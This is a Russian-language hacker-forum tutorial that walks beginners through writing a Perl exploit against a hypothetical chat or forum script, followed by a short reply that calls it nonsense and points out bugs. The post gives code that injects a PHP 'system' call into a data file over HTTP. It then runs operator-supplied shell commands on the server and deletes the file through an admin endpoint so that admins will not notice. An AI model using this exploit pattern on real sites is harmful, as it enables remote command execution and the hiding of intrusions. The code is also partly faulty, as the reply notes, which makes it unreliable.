Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl . Я задел ету тему потому что большое количество новичков сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов! Сплоит написаный на Perle отличается от других строчкой в начале #!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит. Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате. Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет: - вывод запроса на ввод урла сайта и каталога чата; - коннект к этому адресу; - запрос на ввод системной команды; - передача файлу null.php этой команды; - запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа; - удаление файла /data/dd.mm.gggg.php. Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед.......... 1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках. Code: #!/usr/bin/perl -w После етого идет поключение в скрипт нужных библиотек в нашем случае ето работа с сокетами Code: use IO::Socket; Для вывода запроса на ввод урла и каталога будем использовать команду print, правда некоторые сплойты использует другой способ передачи данных скрипту используя переменную $ARGV, объясню как она работает: В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать Code: perl script.pl x1 x2 x3 то $ARGV[0] будет равно x1, $ARGV[1]=x2 ,a $ARGV[2]=x3 К примеру код уязвимости Code: print "Adress of site(www.site.com): "; $url=<STDIN>; print "Catalog(chat): "; $dir=<STDIN>; chomp $url; chomp $dir; команда print тока выводит на экран строчку, <STDIN> - это запрос на ввод текста, который в нашем случае затем присваивается переменной. Команда chomp служит для удаления из переменной символов переноса строки. Добавляем к переданному урлу http:// Code: $url =~ s/(http:\/\/)//eg; Теперь конектимся к требуемому адресу, тут все понятно Code: $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n"; print "--[ Connect ok ]--\n"; Передаем через команду print урлу строчку, которая запускает null.php . Code: $file="/$dir/null.php?h=1&col=<?system(\$id);?>"; print $connect "GET $file HTTP/1.0\r\n\r\n"; Вывод запроса на ввод системной команды и сохранение его в переменной $sys Code: print "System command(ls -la):"; $sys=<STDIN>; chomp $sys; Вычисление текущей даты, понадобится для определения в какой файл записался наш кусок кода Code: @date=localtime; $day=$date[3]; $mon="$date[4]"+1; $year="$date[5]"+1900; $dt="$day.$mon.$year"; Коннект, и запуск файла с нашим кодом Code: $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n"; $file2="/$dir/data/$dt.php?id=$sys"; print $connect "GET $file2 HTTP/1.0\r\n\r\n"; Считывание результата выведенного на экран, в результате выполнения нашей системной команды Code: print "--[ Resultat ]--\n"; while ($answer = <$connect>) { print $answer; } Теперь чтобы наш файл не бросался в глаза админам, мы его удаляем, через админку Code: $file3="/$dir/report.php?status=admin&del=$dt"; $connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n"; print "--[ Delete file /$dir/data/$dt.php ]--\n"; print $connect "GET $file3 HTTP/1.0\r\n\r\n"; Теперь копируем в файл все строчки кода в той же очередности и сохраняем с росширением .pl Все сплоит готов! Для запуска сплоита понадобится Perl интерпритатор.
Бред Ты уверен что этот код сделает то, что ты хочешь? Зачем тут eg? Зачем ты создаешь сокет заново? Ну про кавычки я уж мочлу....